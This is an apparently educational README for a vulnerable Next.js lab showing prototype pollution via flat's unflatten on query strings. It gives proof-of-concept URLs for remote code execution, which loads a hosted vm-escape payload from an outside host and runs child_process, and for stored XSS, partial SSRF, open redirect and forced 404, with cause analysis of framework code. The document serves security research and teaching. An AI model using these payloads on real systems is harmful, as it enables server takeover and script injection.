Next.js Flat Prototype Pollution

A prototype pollution scenario in Next.js when flat 5.0.0 is used.

YouTube video

PwnFunction YouTube Video

Setup Instructions

Install dependencies and start server.

npm install

# Run as Dev
npm run dev

# Run as Prod
npm run build
npm start

Vulnerability

pages/vulnerable.js

const out = unflatten({ ...context.query });

Gadgets

Lot of unexplored surface. If you find any gadgets, send a pull request ?

Name Description Type Package Completed
AMP RCE via validator in Validator Remote Code Execution amp-validator
AMP XSS via ampUrlPrefix in ampOptimizer.transformHtml Persistent XSS + Partial SSRF @ampproject/toolbox-optimizer
Redirect SSR via redirect.destination in getServerSideProps Open Redirect next
404 SSR via notFound in getServerSideProps Permanant 404 next
More AMP
React Server Components
Image & Font Optimization
API & Middlewares
Router

AMP RCE

Remote code execution in Validator (uses vm module) via validator

Only on dev server – npm run dev

Poc

  1. Request to any AMP enabled page.

    # any page that has AMP enabled
    /
  2. If AMP if disabled on vulnerable page enable it.

    /vulnerable?amp=1&__proto__.amp=hybrid
  3. Request to vulnerable page with validator should trigger the RCE.

    /vulnerable?__proto__.validator=https://rce-callback.pwnfunction.repl.co/
    # Hosted payload: (this.constructor.constructor("return process.mainModule.require('child_process')")()).execSync('calc')

Cause

/* next/server/render.tsx */
const ampState = {
  ampFirst: pageConfig.amp === true,
  hasQuery: Boolean(query.amp),
  hybrid: pageConfig.amp === "hybrid",
};
const inAmpMode = !process.browser && (0, _amp).isInAmpMode(ampState); // isInAmpMode(ampState) { return ampState.ampFirst || ampState.hybrid && ampState.hasQuery }
// ...
inAmpMode
  ? async (html) => {
      html = await optimizeAmp(html, renderOpts.ampOptimizerConfig);
      if (!renderOpts.ampSkipValidation && renderOpts.ampValidator) {
        await renderOpts.ampValidator(html, pathname);
      }
      return html;
    }
  : null;

/* next/dist/server/dev/next-dev-server.js */
const validatorPath =
  this.nextConfig.experimental &&
  this.nextConfig.experimental.amp &&
  this.nextConfig.experimental.amp.validator;
return _amphtmlValidator.default.getInstance(validatorPath).then(/* ... */);

/* next/dist/compiled/amphtml-validator/index.js */
function getInstance(e, t) {
  const n = e || "https://cdn.ampproject.org/v0/validator.js";
  const r = t || m;
  if (d.hasOwnProperty(n)) {
    return c.resolve(d[n]);
  }
  const o = isHttpOrHttpsUrl(n) ? readFromUrl(n, r) : readFromFile(n);
  return o.then(function (e) {
    let t;
    try {
      t = new Validator(e);
    } catch (e) {
      throw e;
    }
    d[n] = t;
    return t;
  });
}

/* next/dist/compiled/amphtml-validator/index.js */
function Validator(e) {
  this.sandbox = h.createContext();
  try {
    new h.Script(e).runInContext(this.sandbox);
  } catch (e) {
    throw new Error("Could not instantiate validator.js - " + e.message);
  }
}

nodejs vm module simple escape via Functionthis.constructor.constructor('return process')()

AMP XSS

Persistent Cross-Site Scripting via ampUrlPrefix in ampOptimizer.transformHtml.

Also a partial SSRF via node-fetch during AMP transform.

Poc

// next.config.js
module.exports = {
  reactStrictMode: true,
  experimental: {
    amp: {
      optimizer: {},
      // skipValidation: true, /* required on dev-server */
    },
  },
};
  1. Request to any AMP enabled page.

    # any page that has AMP enabled
    /
  2. If AMP if disabled on vulnerable page enable it.

    /vulnerable?amp=1&__proto__.amp=hybrid
  3. Request to vulnerable page with ampUrlPrefix should trigger the XSS.

    /vulnerable?__proto__.ampUrlPrefix=https://xss-callback.pwnfunction.repl.co/
    # Hosted payload: alert(document.domain)

# Partial SSRF - works if SSRF target route `/*` does not return 404 else server hangs
/vulnerable?__proto__.ampUrlPrefix=https://TARGET.URL/

Cause

/* next/server/render.tsx */
const ampState = {
  ampFirst: pageConfig.amp === true,
  hasQuery: Boolean(query.amp),
  hybrid: pageConfig.amp === "hybrid",
};
const inAmpMode = !process.browser && (0, _amp).isInAmpMode(ampState); // isInAmpMode(ampState) { return ampState.ampFirst || ampState.hybrid && ampState.hasQuery }
// ...
html = await optimizeAmp(html, renderOpts.ampOptimizerConfig);

// On production server we skip the error causing validation by pollluting `renderOpts.ampSkipValidation`
if (!renderOpts.ampSkipValidation && renderOpts.ampValidator) {
  await renderOpts.ampValidator(html, pathname);
}

/* next/server/optimize-amp.ts */
const optimizer = AmpOptimizer.create(config);
return optimizer.transformHtml(html, config); // config.ampUrlPrefix = 'https://xss-callback.pwnfunction.repl.co/'

/* @ampproject/toolbox-optimizer/index.js */
async transformHtml(t, e) {
    const r = await i.parse(t);
    await this.transformTree(r, e);
    return i.serialize(r);
}

/* `transformTree` eventually leads to the following */
5690: (t, e, r) => {
    // ...
    class RewriteAmpUrls {
        // ...
        transform(t, e) {
            // ...
            d.push(this._createPreload(l.attribs.src, "script")); // l.attribs.src = 'https://xss-callback.pwnfunction.repl.co/'
            // ...
        }
        // ...
    }
    t.exports = RewriteAmpUrls;
},

// <script async="" src="https://xss-callback.pwnfunction.repl.co/v0.js"></script>

Also while initializing runtime styles in @ampproject/toolbox-optimizer, response body from ampUrlPrefix is inserted directly into the ssr-page, meaning one can still achieve XSS even if RewriteAmpUrls transformer is disabled.

Redirect SSR

Poc

/vulnerable?__proto__.redirect.destination=https://pwnfunction.com

Cause

/* next/server/render.tsx */
if ("redirect" in data && typeof data.redirect === "object") {
  checkRedirectValues(data.redirect, req, "getServerSideProps");
  data.props = {
    __N_REDIRECT: data.redirect.destination,
    __N_REDIRECT_STATUS: (0, _loadCustomRoutes).getRedirectStatus(
      data.redirect
    ),
  };
  if (typeof data.redirect.basePath !== "undefined") {
    data.props.__N_REDIRECT_BASE_PATH = data.redirect.basePath;
  }
  renderOpts.isRedirect = true;
}

404 SSR

Poc

/vulnerable?__proto__.notFound=1

Cause

/* next/server/render.tsx */
if ('notFound' in data && data.notFound) {
    if (pathname === '/404') {
        throw new Error(
            `The /404 page can not return notFound in "getStaticProps", please remove it to continue!`
        )
    }

    ;(renderOpts as any).isNotFound = true
    return null
}

Resources